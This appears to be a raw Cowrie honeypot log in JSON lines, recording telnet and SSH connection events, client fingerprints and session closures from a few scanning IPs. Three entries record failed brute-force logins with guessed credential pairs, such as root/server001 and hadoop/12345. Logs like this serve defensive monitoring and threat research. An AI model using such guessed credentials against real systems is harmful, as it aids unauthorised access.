{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46232,"dst_ip":"10.17.0.5","dst_port":23,"session":"7412cfa930e6","protocol":"telnet","message":"New connection: 188.208.141.113:46232 (10.17.0.5:23) [session: 7412cfa930e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:01.437917Z"}
{"eventid":"cowrie.session.closed","duration":36.00527572631836,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:01.880564Z","src_ip":"64.227.9.242","session":"6cec49c29a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13509964942932,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:03.724306Z","src_ip":"188.208.141.113","session":"4a36a2c22c3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09027290344238,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:03.931664Z","src_ip":"188.208.141.113","session":"94bf0e039023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.30958104133606,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:06.460800Z","src_ip":"188.208.141.113","session":"1212fe2e280f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46246,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabaf3fb6aa0","protocol":"telnet","message":"New connection: 188.208.141.113:46246 (10.17.0.5:23) [session: cabaf3fb6aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:07.418093Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46262,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c70323843c0","protocol":"telnet","message":"New connection: 188.208.141.113:46262 (10.17.0.5:23) [session: 0c70323843c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:08.003579Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46270,"dst_ip":"10.17.0.5","dst_port":23,"session":"f67ff7fa5f28","protocol":"telnet","message":"New connection: 188.208.141.113:46270 (10.17.0.5:23) [session: f67ff7fa5f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:09.043220Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46284,"dst_ip":"10.17.0.5","dst_port":23,"session":"335e86bb10f6","protocol":"telnet","message":"New connection: 188.208.141.113:46284 (10.17.0.5:23) [session: 335e86bb10f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:09.086135Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58278,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7c31382fd41","protocol":"telnet","message":"New connection: 64.227.9.242:58278 (159.203.135.109:23) [session: b7c31382fd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:10.399529Z"}
{"eventid":"cowrie.session.closed","duration":3.1252148151397705,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:10.543193Z","src_ip":"188.208.141.113","session":"cabaf3fb6aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59338,"dst_ip":"159.203.135.109","dst_port":23,"session":"d27331fc5124","protocol":"telnet","message":"New connection: 64.227.9.242:59338 (159.203.135.109:23) [session: d27331fc5124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:11.523333Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53896,"dst_ip":"10.17.0.5","dst_port":23,"session":"356aabf8bf19","protocol":"telnet","message":"New connection: 188.208.141.113:53896 (10.17.0.5:23) [session: 356aabf8bf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:12.307865Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b444629ab5a","protocol":"telnet","message":"New connection: 188.208.141.113:53900 (10.17.0.5:23) [session: 4b444629ab5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:12.828938Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60660,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eefe7d0e88b","protocol":"telnet","message":"New connection: 64.227.9.242:60660 (159.203.135.109:23) [session: 7eefe7d0e88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:12.833517Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":32846,"dst_ip":"159.203.135.109","dst_port":23,"session":"853d6166631f","protocol":"telnet","message":"New connection: 64.227.9.242:32846 (159.203.135.109:23) [session: 853d6166631f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:13.166882Z"}
{"eventid":"cowrie.session.closed","duration":4.8680055141448975,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:13.911119Z","src_ip":"188.208.141.113","session":"f67ff7fa5f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34048,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd0f46e65ca","protocol":"telnet","message":"New connection: 64.227.9.242:34048 (159.203.135.109:23) [session: 7dd0f46e65ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:14.453131Z"}
{"eventid":"cowrie.session.closed","duration":6.131479501724243,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:15.217474Z","src_ip":"188.208.141.113","session":"335e86bb10f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81fe04d6630","protocol":"ssh","message":"New connection: 112.217.199.222:35850 (10.17.0.5:22) [session: b81fe04d6630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:17.421605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:17.426802Z","src_ip":"112.217.199.222","session":"b81fe04d6630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.568711042404175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:17.570935Z","src_ip":"64.227.9.242","session":"770c337e000d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:17.626807Z","src_ip":"112.217.199.222","session":"b81fe04d6630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53914,"dst_ip":"10.17.0.5","dst_port":23,"session":"47bad9340fc1","protocol":"telnet","message":"New connection: 188.208.141.113:53914 (10.17.0.5:23) [session: 47bad9340fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:18.211883Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2019","message":"login attempt [user/user2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:18.448422Z","src_ip":"112.217.199.222","session":"b81fe04d6630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1437029838562,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:19.086869Z","src_ip":"64.227.9.242","session":"079b389b2e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:19.649632Z","src_ip":"112.217.199.222","session":"b81fe04d6630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53922,"dst_ip":"10.17.0.5","dst_port":23,"session":"0880c6a29c9c","protocol":"telnet","message":"New connection: 188.208.141.113:53922 (10.17.0.5:23) [session: 0880c6a29c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:20.119339Z"}
{"eventid":"cowrie.session.closed","duration":36.939480781555176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:20.863312Z","src_ip":"64.227.9.242","session":"5ae697a5c498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41106,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c72c3dc579","protocol":"telnet","message":"New connection: 64.227.9.242:41106 (159.203.135.109:23) [session: 37c72c3dc579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:21.055185Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.20.254.47","src_port":37976,"dst_ip":"10.17.0.5","dst_port":22,"session":"80859a608eaa","protocol":"ssh","message":"New connection: 157.20.254.47:37976 (10.17.0.5:22) [session: 80859a608eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:22.279335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:22.283453Z","src_ip":"157.20.254.47","session":"80859a608eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:22.522446Z","src_ip":"157.20.254.47","session":"80859a608eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"12345","message":"login attempt [hadoop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:23.546460Z","src_ip":"157.20.254.47","session":"80859a608eaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.2480571269989,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:23.989102Z","src_ip":"188.208.141.113","session":"c5ba9c1abce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:24.786346Z","src_ip":"157.20.254.47","session":"80859a608eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44036,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a53f3b406af","protocol":"telnet","message":"New connection: 188.208.141.113:44036 (10.17.0.5:23) [session: 4a53f3b406af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:25.043409Z"}
{"eventid":"cowrie.session.closed","duration":35.97125315666199,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:25.574094Z","src_ip":"188.208.141.113","session":"c92b60ee306b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44040,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a6635c951f","protocol":"telnet","message":"New connection: 188.208.141.113:44040 (10.17.0.5:23) [session: 56a6635c951f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:25.799068Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44048,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2d6b59701fe","protocol":"telnet","message":"New connection: 188.208.141.113:44048 (10.17.0.5:23) [session: f2d6b59701fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:26.087353Z"}
{"eventid":"cowrie.session.closed","duration":38.73449182510376,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:26.122193Z","src_ip":"188.208.141.113","session":"7b6e91711335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14538311958313,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:26.433431Z","src_ip":"188.208.141.113","session":"713c94503845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44062,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2834b03b5c4","protocol":"telnet","message":"New connection: 188.208.141.113:44062 (10.17.0.5:23) [session: f2834b03b5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:26.883811Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44070,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf501d62f9dd","protocol":"telnet","message":"New connection: 188.208.141.113:44070 (10.17.0.5:23) [session: cf501d62f9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:28.565570Z"}
{"eventid":"cowrie.session.closed","duration":37.41370224952698,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:29.531837Z","src_ip":"64.227.9.242","session":"552106d30443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa6b4b8e79a","protocol":"ssh","message":"New connection: 152.32.171.213:34922 (10.17.0.5:22) [session: 2fa6b4b8e79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:31.840048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:31.844908Z","src_ip":"152.32.171.213","session":"2fa6b4b8e79a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:32.066521Z","src_ip":"152.32.171.213","session":"2fa6b4b8e79a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37610,"dst_ip":"10.17.0.5","dst_port":23,"session":"db24f4748737","protocol":"telnet","message":"New connection: 188.208.141.113:37610 (10.17.0.5:23) [session: db24f4748737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:32.223816Z"}
{"eventid":"cowrie.session.closed","duration":7.4911956787109375,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:32.534472Z","src_ip":"188.208.141.113","session":"4a53f3b406af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server001","message":"login attempt [root/server001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:32.985013Z","src_ip":"152.32.171.213","session":"2fa6b4b8e79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:34.208725Z","src_ip":"152.32.171.213","session":"2fa6b4b8e79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.40646028518677,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:35.147010Z","src_ip":"64.227.9.242","session":"f23fa44fd1aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37624,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cad1aade8fc","protocol":"telnet","message":"New connection: 188.208.141.113:37624 (10.17.0.5:23) [session: 1cad1aade8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:35.299698Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3a48ea069f","protocol":"telnet","message":"New connection: 64.227.9.242:55362 (159.203.135.109:23) [session: ea3a48ea069f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:35.398164Z"}
{"eventid":"cowrie.session.closed","duration":48.27177119255066,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:36.831532Z","src_ip":"188.208.141.113","session":"59d0d6b21acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.25504541397095,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:37.576288Z","src_ip":"188.208.141.113","session":"ec4517e9ce8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2f0d511af70","protocol":"telnet","message":"New connection: 188.208.141.113:37630 (10.17.0.5:23) [session: c2f0d511af70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:37.962049Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37638,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8e3de0bbae","protocol":"telnet","message":"New connection: 188.208.141.113:37638 (10.17.0.5:23) [session: 1b8e3de0bbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:38.326821Z"}
{"eventid":"cowrie.session.closed","duration":43.08508372306824,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:44.522917Z","src_ip":"188.208.141.113","session":"7412cfa930e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"0631c04ca228","protocol":"telnet","message":"New connection: 188.208.141.113:43392 (10.17.0.5:23) [session: 0631c04ca228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:44.938966Z"}
{"eventid":"cowrie.session.closed","duration":35.97048759460449,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:46.369892Z","src_ip":"64.227.9.242","session":"b7c31382fd41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6503632068634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:48.173581Z","src_ip":"64.227.9.242","session":"d27331fc5124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97562551498413,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:49.283354Z","src_ip":"188.208.141.113","session":"356aabf8bf19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43440127372742,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:49.887442Z","src_ip":"64.227.9.242","session":"7dd0f46e65ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2924530506134,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:50.125875Z","src_ip":"64.227.9.242","session":"7eefe7d0e88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.435964584350586,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:51.602732Z","src_ip":"64.227.9.242","session":"853d6166631f","protocol":"telnet"}
